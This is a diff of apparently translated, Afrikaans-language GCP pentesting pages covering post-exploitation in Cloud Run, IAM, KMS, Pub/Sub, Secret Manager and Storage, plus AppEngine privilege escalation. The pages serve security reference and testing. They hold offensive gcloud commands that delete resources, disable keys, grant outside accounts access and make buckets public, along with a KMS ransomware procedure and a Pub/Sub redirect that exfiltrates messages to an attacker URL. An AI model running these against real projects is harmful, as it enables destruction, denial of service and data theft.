+--quiet
+```
+### Code Exfiltration deur die bucket
+Die `storage.objects.get` en `storage.objects.list` permissions laat toe om objects binne 'n bucket te lys en te lees, en in die geval van Cloud Functions is dit veral relevant omdat elke function sy bronkode stoor in 'n outomaties bestuurde Google bucket, waarvan die naam die formaat `gcf-sources-<PROJECT_NUMBER>-<REGION>` volg

-### Steel Cloud Function Versoeke

-As die Cloud Function sensitiewe inligting hanteer wat gebruikers stuur (bv. passwords of tokens), kan jy met genoeg voorregte **wysig die bronkode van die funksie en exfiltrate** hierdie inligting.
+### Steel Cloud Function-versoeke

-Boonop gebruik Cloud Functions wat in python loop **flask** om die webbediener bloot te stel; as jy op een of ander manier 'n code injection vulnerability binne die flaks-proses vind (byvoorbeeld 'n SSTI vulnerability), is dit moontlik om die **override the function handler** wat die HTTP requests gaan ontvang vir 'n **malicious function** wat die versoek kan **exfiltrate** voordat dit aan die regmatige handler deurgegee word.
+As die Cloud Function sensitiewe inligting hanteer wat gebruikers stuur (bv. wagwoorde of tokens), kan jy met genoeg privilegies **modify the source code of the function and exfiltrate** hierdie inligting.

-For example this kode implements the attack:
+Verder gebruik Cloud Functions wat in python loop **flask** om die webbediener bloot te stel; as jy op een of ander manier 'n code injection kwetsbaarheid binne die flaks proses vind (byvoorbeeld 'n SSTI kwetsbaarheid), is dit moontlik om **override the function handler** wat die HTTP requests gaan ontvang, te implementeer vir 'n **malicious function** wat die request kan **exfiltrate the request** voordat dit aan die legit handler deurgegee word.

-<details>
-
-<summary>Steel Cloud Function versoeke (Python injection)</summary>
+Byvoorbeeld hierdie code implementeer die aanval:
 ```python
 import functions_framework

@@ -132,8 +133,4 @@ return "Injection completed!"
 except Exception as e:
 return str(e)
 ```
-</details>
-
-
-
 {{#include ../../../banners/hacktricks-training.md}}
@@ -1,23 +1,34 @@
-# GCP - Cloud Run Post Exploitation
+# GCP - Cloud Run Post-uitbuiting

 {{#include ../../../banners/hacktricks-training.md}}

 ## Cloud Run

-Vir meer inligting oor Cloud Run, kyk:
+Vir meer inligting oor Cloud Run, sien:

 {{#ref}}
 ../gcp-services/gcp-cloud-run-enum.md
 {{#endref}}

-### Toegang tot die beelde
+### Verwyder CloudRun Job
+Die `run.services.delete` en `run.services.get` permissies, sowel as `run.jobs.delete`, laat 'n identiteit toe om volledig 'n Cloud Run-diens of -job te verwyder, insluitend sy konfigurasie en geskiedenis. In die hande van 'n aanvaller kan dit onmiddellike ontwrigting van toepassings of kritieke werkvloei veroorsaak, wat lei tot 'n denial of service (DoS) vir gebruikers en stelsels wat op die dienslogika of noodsaaklike geskeduleerde take staatmaak.

-As jy toegang tot die houerbeelde het, kyk die kode vir kwesbaarhede en hardgecodeerde sensitiewe inligting. Ook vir sensitiewe inligting in omgewingsveranderlikes.
+Om 'n job te verwyder, kan die volgende operasie uitgevoer word.
+```bash
+gcloud run jobs delete <JOB_NAME> --region=<REGION> --quiet
+```
+Om 'n diens te verwyder, kan die volgende operasie uitgevoer word.
+```bash
+gcloud run services delete <SERVICE_NAME> --region=<REGION> --quiet
+```
+### Toegang tot die images

-As die beelde in repos binne die diens Artifact Registry gestoor is en die gebruiker leestoegang oor die repos het, kan hy ook die beeld van hierdie diens aflaai.
+As jy toegang tot die container images het, kyk die kode vir kwesbaarhede en hardgekodeerde sensitiewe inligting. Kyk ook vir sensitiewe inligting in env variables.

-### Wysig & herontplooi die beeld
+As die images in repos binne die diens Artifact Registry gestoor is en die gebruiker lees-toegang tot die repos het, kan 'n gebruiker die image ook vanaf hierdie diens aflaai.

-Wysig die loopbeeld om inligting te steel en herontplooi die nuwe weergawe (net 'n nuwe docker houer met dieselfde etikette op te laai, sal dit nie uitgevoer word nie). Byvoorbeeld, as dit 'n aanmeldbladsy blootstel, steel die akrediteerbare wat gebruikers stuur.
+### Wysig & herontplooi die image
+
+Wysig die run image om inligting te steel en herontplooi die nuwe weergawe (net om 'n nuwe docker container met dieselfde tags op te laai, sal dit nie uitgevoer word nie). Byvoorbeeld, as dit 'n login page blootstel, steel die credentials wat gebruikers stuur.

 {{#include ../../../banners/hacktricks-training.md}}
@@ -10,24 +10,42 @@ Jy kan verdere inligting oor IAM vind in:
 ../gcp-services/gcp-iam-and-org-policies-enum.md
 {{#endref}}

-### Toekenning van toegang tot management console <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
+### Toegang tot die management console verleen <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>

-Toegang tot die [GCP management console](https://console.cloud.google.com) word **gegee aan gebruikersrekeninge, nie service accounts nie**. Om by die webkoppelvlak aan te meld, kan jy **toegang verleen aan 'n Google account** wat jy beheer. Dit kan 'n generiese "**@gmail.com**" rekening wees; dit hoef **nie 'n lid van die teikenorganisasie te wees nie**.
+Access to the [GCP management console](https://console.cloud.google.com) word **verskaf aan user accounts, nie service accounts nie**. Om by die webkoppelvlak aan te meld, kan jy **toegang verleen aan 'n Google account** wat jy beheer. Dit kan 'n generiese "**@gmail.com**" account wees; dit hoef **nie 'n lid van die teikenorganisasie te wees nie**.

-Om egter die primitiewe rol **Owner** aan 'n generiese "@gmail.com" rekening toe te ken, moet jy die **web console** gebruik. `gcloud` sal 'n fout gee as jy probeer om 'n toestemming bo **Editor** toe te ken.
+Om die primitiewe rol van **Owner** aan 'n generiese "@gmail.com" account toe te ken, sal jy egter die **web console** moet gebruik. `gcloud` sal 'n fout gee as jy probeer om 'n permissie bo **Editor** toe te ken.

-Jy kan die volgende opdrag gebruik om 'n gebruiker die primitiewe rol **Editor** aan jou bestaande projek toe te ken:
-
-<details>
-
-<summary>Ken Editor-rol aan gebruiker toe</summary>
+Jy kan die volgende opdrag gebruik om 'n gebruiker die primitiewe rol van **Editor** aan jou bestaande projek toe te ken:
 ```bash
 gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
 ```
-</details>
-
-As jy hier sukses behaal het, probeer **toegang tot die webkoppelvlak kry** en van daar af verken.
+As dit hier gelukt het, probeer **toegang tot die webkoppelvlak** en verken daarvandaan.

 Dit is die **hoogste vlak wat jy kan toewys met die gcloud tool**.

+### Verwyder IAM-komponente `iam.*.delete`
+Die `iam.*.delete`-toestemmings (bv. `iam.roles.delete`, `iam.serviceAccountApiKeyBindings.delete`, `iam.serviceAccountKeys.delete`, ens.) laat 'n identiteit toe om kritieke IAM-komponente te verwyder soos aangepaste rolle, API-sleutelbindings, service account-sleutels, en die service accounts self. In die hande van 'n aanvaller maak dit moontlik om geldige toegangsmiddele te verwyder om 'n denial of service te veroorsaak.
+
+Om so 'n aanval uit te voer, is dit byvoorbeeld moontlik om rolle te verwyder met behulp van:
+```bash
+gcloud iam roles delete <ROLE_ID> --project=<PROJECT_ID>
+```
+### `iam.serviceAccountKeys.disable` || `iam.serviceAccounts.disable`
+
+Die `iam.serviceAccountKeys.disable` en `iam.serviceAccounts.disable` toestemmings laat toe om aktiewe diensrekeningsleutels of diensrekeninge te deaktiveer, wat in die hande van 'n aanvaller gebruik kan word om bedrywighede te versteur, 'n denial of service te veroorsaak, of incident response te belemmer deur die gebruik van geldige credentials te voorkom.
+
+Om 'n diensrekening te deaktiveer, kan jy die volgende opdrag gebruik:
+```bash
+gcloud iam service-accounts disable <SA_EMAIL> --project=<PROJECT_ID>
+```
+Om die sleutels van 'n Service Account uit te skakel, kan jy die volgende opdrag gebruik:
+```bash
+gcloud iam service-accounts keys disable <KEY_ID> --iam-account=<SA_EMAIL>
+```
+### `iam.*.undelete`
+Die `iam.*.undelete`-toestemmings laat toe om voorheen verwyderde elemente te herstel, soos API key bindings, custom roles, of service accounts. In die hande van 'n aanvaller kan dit gebruik word om verdedigende maatreëls om te keer (herstel verwyderde toegang), verwyderde kompromie-vektore te herbou om volharding te behou, of herstelpogings te ontduik, wat die beperking van 'n insident bemoeilik.
+```bash
+gcloud iam service-accounts undelete "${SA_ID}" --project="${PROJECT}"
+```
 {{#include ../../../banners/hacktricks-training.md}}
@@ -1,4 +1,4 @@
-# GCP - KMS Post Exploitation
+# GCP - KMS Post-eksploitasie

 {{#include ../../../banners/hacktricks-training.md}}

@@ -12,7 +12,7 @@ Vind basiese inligting oor KMS in:

 ### `cloudkms.cryptoKeyVersions.destroy`

-’n Aanvaller met hierdie toestemming kan ’n KMS-weergawe vernietig. Om dit te doen moet jy eers die sleutel deaktiveer en daarna vernietig:
+'n Aanvaller met hierdie toestemming kan 'n KMS-weergawe vernietig. Om dit te doen, moet jy eers die sleutel deaktiveer en dan vernietig:

 <details>

@@ -65,24 +65,24 @@ destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)

 ### KMS Ransomware

-In AWS is dit moontlik om heeltemal 'n **KMS key** te steel deur die KMS resource policy te wysig en slegs die aanvallers rekening toe te laat om die key te gebruik. Aangesien hierdie resource policies nie in GCP bestaan nie, is dit nie moontlik nie.
+In AWS is dit moontlik om heeltemal **steal a KMS key** deur die KMS resource policy te wysig en slegs die aanvaller se rekening toe te laat om die sleutel te gebruik. Aangesien hierdie resource policies nie in GCP bestaan nie, is dit nie moontlik nie.

-Daar is egter nog 'n manier om 'n globale KMS Ransomware uit te voer, wat die volgende stappe behels:
+Egter, daar is 'n ander manier om 'n globale KMS Ransomware uit te voer, wat die volgende stappe behels:

- Skep 'n nuwe **version of the key with a key material** wat deur die aanvaller geïmporteer is
+- Skep 'n nuwe **version of the key with a key material** wat deur die aanvaller ingevoer is
 ```bash
 gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
 ```
- Stel dit as **default version** (vir toekomstige data wat geïnkripteer sal word)
- **Re-encrypt older data** wat met die vorige weergawe geïnkripteer is, met die nuwe een.
+- Stel dit as **default version** (vir toekomstige data wat encrypted sal word)
+- **Re-encrypt older data** wat met die vorige weergawe encrypted is, met die nuwe een.
 - **Delete the KMS key**
- Nou sal slegs die attacker, wat die oorspronklike sleutelmateriaal het, in staat wees om die geïnkripteerde data te dekripteer
+- Nou sal slegs die attacker, wat die oorspronklike sleutelmateriaal het, in staat wees om die encrypted data te decrypt

-#### Hier is die stappe om 'n nuwe weergawe te importeer en die ouer data uit te skakel/verwyder:
+#### Hier is die stappe om 'n nuwe weergawe te import en die ouer data te deaktiveer/verwyder:

 <details>

-<summary>Importeer nuwe sleutelweergawe en verwyder ou weergawe</summary>
+<summary>Import new key version and delete old version</summary>
 ```bash
 # Encrypt something with the original key
 echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
@@ -203,7 +203,7 @@ print('Ciphertext:', ciphertext)

 <details>

-<summary>Teken boodskap met asymmetriese sleutel (Python)</summary>
+<summary>Onderteken boodskap met 'n asimmetriese sleutel (Python)</summary>
 ```python
 import hashlib
 from google.cloud import kms
@@ -243,7 +243,7 @@ print('Signature:', signature)

 <details>

-<summary>Verifieer handtekening met asimmetriese sleutel (Python)</summary>
+<summary>Verifieer handtekening met asymmetriese sleutel (Python)</summary>
 ```python
 from google.cloud import kms
 import hashlib
@@ -270,6 +270,32 @@ return verify_response.success
 verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
 print('Verified:', verified)
 ```
+### `cloudkms.cryptoKeyVersions.restore`
+Die `cloudkms.cryptoKeyVersions.restore` toestemming laat 'n identiteit toe om 'n sleutelweergawe wat voorheen in Cloud KMS vir vernietiging geskeduleer is of gedeaktiveer was, te herstel en dit na 'n aktiewe en bruikbare toestand terug te bring.
+```bash
+gcloud kms keys versions restore <VERSION_ID> \
+--key=<KEY_NAME> \
+--keyring=<KEYRING_NAME> \
+--location=<LOCATION> \
+--project=<PROJECT_ID>
+```
+### `cloudkms.cryptoKeyVersions.update`
+Die `cloudkms.cryptoKeyVersions.update` toestemming laat 'n identiteit toe om die eienskappe of die toestand van 'n spesifieke sleutelweergawe in Cloud KMS te wysig, byvoorbeeld deur dit te aktiveer of te deaktiveer.
+```bash
+# Disable key
+gcloud kms keys versions disable <VERSION_ID> \
+--key=<KEY_NAME> \
+--keyring=<KEYRING_NAME> \
+--location=<LOCATION> \
+--project=<PROJECT_ID>
+
+# Enable key
+gcloud kms keys versions enable <VERSION_ID> \
+--key=<KEY_NAME> \
+--keyring=<KEYRING_NAME> \
+--location=<LOCATION> \
+--project=<PROJECT_ID>
+```
 </details>

 {{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@

 ## Pub/Sub

-Vir meer inligting oor Pub/Sub, kyk die volgende bladsy:
+Vir meer inligting oor Pub/Sub sien die volgende bladsy:

 {{#ref}}
 ../gcp-services/gcp-pub-sub.md
@@ -12,11 +12,11 @@ Vir meer inligting oor Pub/Sub, kyk die volgende bladsy:

 ### `pubsub.topics.publish`

-Plaas 'n boodskap in 'n topic, nuttig om **onverwagte data te stuur** en onverwante funksies te aktiveer of kwesbaarhede te misbruik:
+Publiseer 'n boodskap in 'n onderwerp — nuttig om **onverwagte data te stuur**, onverwagte funksionaliteit te aktiveer of kwesbaarhede te misbruik:

 <details>

-<summary>Plaas 'n boodskap in 'n topic</summary>
+<summary>Publiseer boodskap in onderwerp</summary>
 ```bash
 # Publish a message in a topic
 gcloud pubsub topics publish <topic_name> --message "Hello!"
@@ -25,11 +25,11 @@ gcloud pubsub topics publish <topic_name> --message "Hello!"

 ### `pubsub.topics.detachSubscription`

-Nuttig om te verhoed dat 'n subscription boodskappe ontvang, dalk om opsporing te vermy.
+Nuttig om te verhoed dat subscription boodskappe ontvang, moontlik om opsporing te vermy.

 <details>

-<summary>Detach subscription from topic</summary>
+<summary>Ontkoppel subscription van topic</summary>
 ```bash
 gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
 ```
@@ -38,7 +38,7 @@ gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
 ### `pubsub.topics.delete`

 Nuttig om te verhoed dat 'n subscription boodskappe ontvang, moontlik om opsporing te vermy.\
-Dit is moontlik om 'n topic te verwyder, selfs met subscriptions daaraan gekoppel.
+Dit is moontlik om 'n topic te verwyder, selfs al is daar subscriptions daaraan gekoppel.

 <details>

@@ -50,15 +50,41 @@ gcloud pubsub topics delete <TOPIC NAME>

 ### `pubsub.topics.update`

-Gebruik hierdie toestemming om 'n instelling van die topic te verander om dit te ontwrig, soos `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
+Gebruik hierdie toestemming om 'n instelling van die onderwerp te verander om dit te ontwrig, soos `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...

 ### `pubsub.topics.setIamPolicy`

 Gee jouself toestemming om enige van die vorige aanvalle uit te voer.
+```bash
+# Add Binding
+gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
+--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
+--role="<ROLE_OR_CUSTOM_ROLE>" \
+--project="<PROJECT_ID>"

+# Remove Binding
+gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
+--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
+--role="<ROLE_OR_CUSTOM_ROLE>" \
+--project="<PROJECT_ID>"
+
+# Change Policy
+gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
+<(echo '{
+"bindings": [
+{
+"role": "<ROLE_OR_CUSTOM_ROLE>",
+"members": [
+"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
+]
+}
+]
+}') \
+--project=<PROJECT_ID>
+```
 ### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)

-Kry al die boodskappe op 'n webbediener:
+Kry al die boodskappe in 'n webbediener:

 <details>

@@ -73,7 +99,7 @@ Skep 'n subscription en gebruik dit om **pull messages**:

 <details>

-<summary>Skep pull subscription en haal messages op</summary>
+<summary>Skep pull subscription en haal boodskappe op</summary>
 ```bash
 # This will retrive a non ACKed message (and won't ACK it)
 gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
@@ -86,11 +112,11 @@ gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>

 ### `pubsub.subscriptions.delete`

-**Om 'n subskripsie te verwyder** kan nuttig wees om 'n logverwerkingstelsel of iets soortgelyks te ontwrig:
+**Verwyder subscription** kan nuttig wees om 'n logverwerkingsisteem of iets soortgelyks te ontwrig:

 <details>

-<summary>Verwyder subskripsie</summary>
+<summary>Verwyder subscription</summary>
 ```bash
 gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
 ```
@@ -98,11 +124,11 @@ gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

 ### `pubsub.subscriptions.update`

-Gebruik hierdie toestemming om 'n instelling by te werk sodat boodskappe op 'n plek gestoor word wat jy kan bereik (URL, Big Query table, Bucket) of net om dit te ontwrig.
+Gebruik hierdie toestemming om 'n instelling by te werk sodat boodskappe gestoor word op 'n plek wat jy kan bereik (URL, Big Query table, Bucket) of net om dit te ontwrig.

 <details>

-<summary>Bywerk inskrywing-eindpunt</summary>
+<summary>Bywerk subskripsie-endpoint</summary>
 ```bash
 gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
 ```
@@ -110,15 +136,16 @@ gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name

 ### `pubsub.subscriptions.setIamPolicy`

-Gee jouself die permissies wat nodig is om enige van die voorheen genoemde attacks uit te voer.
+Gee jouself die permissies wat nodig is om enige van die vroeër genoemde aanvalle uit te voer.

 ### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)

-Attack a schema aan 'n topic sodat die messages dit nie vervul nie en gevolglik die topic ontwrig word.\ If daar geen schemas is nie, moet jy moontlik een skep.
+Koppel 'n schema aan 'n topic sodat die boodskappe daaraan nie voldoen nie en gevolglik die topic ontwrig word.\
+As daar geen schemas is nie, moet jy moontlik een skep.

 <details>

-<summary>Skep schema-lêer en koppel dit aan die topic</summary>
+<summary>Skep schema-lêer en koppel aan topic</summary>
 ```json:schema.json
 {
 "namespace": "com.example",
@@ -147,7 +174,7 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \

 ### `pubsub.schemas.delete`

-Dit mag lyk asof die verwydering van 'n schema jou in staat sal stel om boodskappe te stuur wat nie aan die schema voldoen nie. Omdat die schema egter verwyder sal word, sal geen boodskap eintlik in die topic beland nie. Dit is dus **NUTTELOOS**:
+Dit mag lyk asof deur 'n schema te verwyder jy boodskappe kan stuur wat nie aan die schema voldoen nie. Egter, aangesien die schema verwyder sal word, sal geen boodskap eintlik in die topic inkom nie. Dus is dit **USELESS**:

 <details>

@@ -159,15 +186,15 @@ gcloud pubsub schemas delete <SCHEMA NAME>

 ### `pubsub.schemas.setIamPolicy`

-Gee jouself die toestemmings wat nodig is om enige van die eerder genoemde aanvalle uit te voer.
+Gee jouself die permissies wat benodig word om enige van die voorafgenoemde attacks uit te voer.

 ### `pubsub.snapshots.create`, `pubsub.snapshots.seek`

-Dit sal 'n snapshot maak van al die unACKed boodskappe en dit terug in die subskripsie sit. Nie baie nuttig vir 'n aanvaller nie, maar hier is dit:
+Dit sal 'n snapshot skep van al die unACKed messages en hulle terug in die subscription plaas. Nie baie nuttig vir 'n attacker nie, maar hier is dit:

 <details>

-<summary>Create snapshot and seek to it</summary>
+<summary>Skep snapshot en seek daarna</summary>
 ```bash
 gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
 --subscription=YOUR_SUBSCRIPTION_NAME
@@ -4,7 +4,7 @@

 ## Secretmanager

-Vir meer inligting oor Secret Manager kyk:
+Vir meer inligting oor Secret Manager, kyk:

 {{#ref}}
 ../gcp-services/gcp-secrets-manager-enum.md
@@ -12,15 +12,38 @@ Vir meer inligting oor Secret Manager kyk:

 ### `secretmanager.versions.access`

-Dit gee jou toegang om die secrets in die secret manager te lees en dit kan dalk help om privileges op te skaal (afhangende van watter inligting in die secret gestoor is):
+Dit gee jou toegang om die geheime uit die Secret Manager te lees en kan dalk help om bevoegdhede te eskaleer (afhangend van watter inligting in die geheim gestoor is):

 <details>

-<summary>Toegang tot secret-weergawe</summary>
+<summary>Toegang tot geheimweergawe</summary>
 ```bash
 # Get clear-text of version 1 of secret: "<secret name>"
 gcloud secrets versions access 1 --secret="<secret_name>"
 ```
 </details>

+### `secretmanager.versions.destroy`
+Die `secretmanager.versions.destroy` toestemming laat 'n identiteit toe om permanent 'n spesifieke weergawe van 'n geheim in Secret Manager te vernietig (as onherroeplik verwyderd te merk), wat die verwydering van kritieke credentials moontlik kan maak en denial of service kan veroorsaak of die herstel van sensitiewe data kan voorkom.
+```bash
+gcloud secrets versions destroy <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
+```
+### `secretmanager.versions.disable`
+Die `secretmanager.versions.disable` toestemming laat 'n identiteit toe om aktiewe geheimweergawes in Secret Manager te deaktiveer, wat hul gebruik deur toepassings of dienste wat daarvan afhanklik is tydelik blokkeer.
+```bash
+gcloud secrets versions disable <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
+```
+### `secretmanager.secrets.delete`
+Die `secretmanager.secrets.delete` toestemming stel 'n identiteit in staat om 'n geheim en al sy gestoorde weergawes heeltemal uit Secret Manager te verwyder.
+```bash
+gcloud secrets delete <SECRET_NAME> --project=<PROJECT_ID>
+```
+### `secretmanager.secrets.update`
+Die `secretmanager.secrets.update` toestemming laat 'n identiteit toe om 'n secret se metadata en konfigurasie te wysig (byvoorbeeld rotation settings, version policy, labels, en sekere secret properties).
+```bash
+gcloud secrets update SECRET_NAME \
+--project=PROJECT_ID \
+--clear-labels \
+--rotation-period=DURATION
+```
 {{#include ../../../banners/hacktricks-training.md}}
@@ -12,11 +12,7 @@ Vir meer inligting oor Cloud Storage, kyk na hierdie blad:

 ### Gee openbare toegang

-Dit is moontlik om eksterne gebruikers (ingeteken in GCP of nie) toegang tot die inhoud van buckets te gee. Standaard is die opsie om 'n bucket publieklik bloot te stel egter gedeaktiveer:
-
-<details>
-
-<summary>Maak bucket/objekte publiek</summary>
+Dit is moontlik om eksterne gebruikers (met of sonder aanmelding by GCP) toegang tot bucket-inhoud te gee. Tog is die opsie om 'n bucket publiek bloot te stel standaard gedeaktiveer:
 ```bash
 # Disable public prevention
 gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
@@ -29,10 +25,60 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
 gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
 gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
 ```
-</details>
+As jy probeer om **ACLs aan 'n bucket met gedeaktiveerde ACLs** te gee, sal jy hierdie fout kry: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`

-As jy probeer om **ACLs aan 'n bucket met afgeskakelde ACLs** toe te ken, sal jy hierdie fout kry: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
+Om toegang tot oop buckets via 'n blaaier te kry, besoek die URL `https://<bucket_name>.storage.googleapis.com/` of `https://<bucket_name>.storage.googleapis.com/<object_name>`

-Om via 'n blaaier toegang tot oop buckets te kry, besoek die URL `https://<bucket_name>.storage.googleapis.com/` of `https://<bucket_name>.storage.googleapis.com/<object_name>`
+### `storage.objects.delete` (`storage.objects.get`)

+Om 'n object te verwyder:
+```bash
+gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
+```
+### `storage.buckets.delete`, `storage.objects.delete` & `storage.objects.list`
+
+Om 'n bucket te verwyder:
+```bash
+gcloud storage rm -r gs://<BUCKET_NAME>
+```
+### Deaktiveer HMAC-sleutels
+
+Die `storage.hmacKeys.update` toestemming laat toe om HMAC-sleutels te deaktiveer, en die `storage.hmacKeys.delete` toestemming laat 'n identiteit toe om HMAC-sleutels wat geassosieer is met diensrekeninge in Cloud Storage te verwyder.
+```bash
+# Deactivate
+gcloud storage hmac update <ACCESS_ID> --deactivate
+
+# Delete
+gcloud storage hmac delete <ACCESS_ID>
+```
+### `storage.buckets.setIpFilter` & `storage.buckets.update`
+Die `storage.buckets.setIpFilter`-toestemming, tesame met die `storage.buckets.update`-toestemming, stel 'n identiteit in staat om IP-adresfilters op 'n Cloud Storage bucket te konfigureer, en spesifiseer watter IP-reekse of adresse toegelaat word om toegang tot die bucket se hulpbronne te kry.
+
+Om die IP-filter heeltemal te verwyder, kan die volgende opdrag gebruik word:
+```bash
+gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>
+```
+Om die gefilterde IPs te verander, kan die volgende kommando gebruik word:
+```bash
+gcloud storage buckets update gs://<BUCKET_NAME> \
+--ip-filter-file=ip-filter.json \
+--project=<PROJECT_ID>
+```
+Die JSON-lêer verteenwoordig die filter self, iets soos:
+```bash
+{
+"mode": "Enabled",
+"publicNetworkSource": {
+"allowedIpCidrRanges": ["<IP>/<MASK>"]
+},
+"allowCrossOrgVpcs": false,
+"allowAllServiceAgentAccess": false
+}
+```
+### `storage.buckets.restore`
+Herstel 'n bucket met behulp van:
+```bash
+gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
+--project=<PROJECT_ID>
+```
 {{#include ../../../banners/hacktricks-training.md}}
@@ -1,87 +1,138 @@
-# GCP - Apikeys Privesc
+# GCP - AppEngine Privesc

 {{#include ../../../banners/hacktricks-training.md}}

-## Apikeys
+## App Engine

-Die volgende toestemmings is nuttig om API keys te skep en te steel, nie hierdie uit die dokumentasie: _'n API key is 'n eenvoudige geïnkripteerde string wat **'n toepassing identifiseer sonder enige principal**. Dit is nuttig om **publieke data anoniem te benader**, en word gebruik om API-versoeke te **assosieer** met jou projek vir kwota en **fakturering**._
-
-Dus kan jy met 'n API key die maatskappy laat betaal vir jou gebruik van die API, maar jy sal nie in staat wees om voorregte te eskaleer nie.
-
-Vir meer inligting oor API Keys sien:
+Vir meer inligting oor App Engine, sien:

 {{#ref}}
-../gcp-services/gcp-api-keys-enum.md
+../gcp-services/gcp-app-engine-enum.md
 {{#endref}}

-Vir ander maniere om API keys te skep sien:
+### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
+
+Dit is die nodige permissies om 'n App met die `gcloud` cli te ontplooi. Miskien kan die **`get`** en **`list`** permissies **vermyd** word.
+
+Jy kan python-kodevoorbeelde vind by [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
+
+Standaard sal die naam van die App-diens **`default`** wees, en daar kan slegs 1 instansie met dieselfde naam wees.\
+Om dit te verander en 'n tweede App te skep, verander in **`app.yaml`** die waarde van die root-sleutel na iets soos **`service: my-second-app`**
+```bash
+cd python-docs-samples/appengine/flexible/hello_world
+gcloud app deploy #Upload and start application inside the folder
+```
+Gee dit minstens 10–15 minute; as dit nie werk nie, probeer **deploy nog 'n paar keer** en wag 'n paar minute.
+
+> [!NOTE]
+> Dit is **moontlik om die Service Account aan te dui wat gebruik moet word**, maar standaard word die App Engine default SA gebruik.
+
+Die URL van die toepassing is iets soos `https://<proj-name>.oa.r.appspot.com/` of `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
+
+### Werk ekwivalente toestemmings by
+
+Jy mag genoeg toestemmings hê om 'n AppEngine op te dateer, maar nie om 'n nuwe een te skep nie. In daardie geval is dit hoe jy die huidige App Engine kan opdateer:
+```bash
+# Find the code of the App Engine in the buckets
+gsutil ls
+
+# Download code
+mkdir /tmp/appengine2
+cd /tmp/appengine2
+## In this case it was found in this custom bucket but you could also use the
+## buckets generated when the App Engine is created
+gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip .
+unzip labs_appengine_1_premissions_privesc.zip
+
+## Now modify the code..
+
+## If you don't have an app.yaml, create one like:
+cat >> app.yaml <<EOF
+runtime: python312
+
+entrypoint: gunicorn -b :\$PORT main:app
+
+env_variables:
+A_VARIABLE: "value"
+EOF
+
+# Deploy the changes
+gcloud app deploy
+
+# Update the SA if you need it (and if you have actas permissions)
+gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
+```
+As jy **reeds 'n AppEngine gekompromitteer het** en jy het die toestemming **`appengine.applications.update`** en **actAs** oor die service account wat gebruik word, kan jy die service account wat deur AppEngine gebruik word wysig met:
+```bash
+gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
+```
+### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
+
+Met hierdie toestemmings is dit moontlik om **login via ssh in App Engine instances** van die tipe **flexible** (nie standard nie). Sommige van die **`list`** en **`get`** toestemmings mag nie werklik nodig wees nie.
+```bash
+gcloud app instances ssh --service <app-name> --version <version-id> <ID>
+```
+### `appengine.applications.update`, `appengine.operations.get`
+
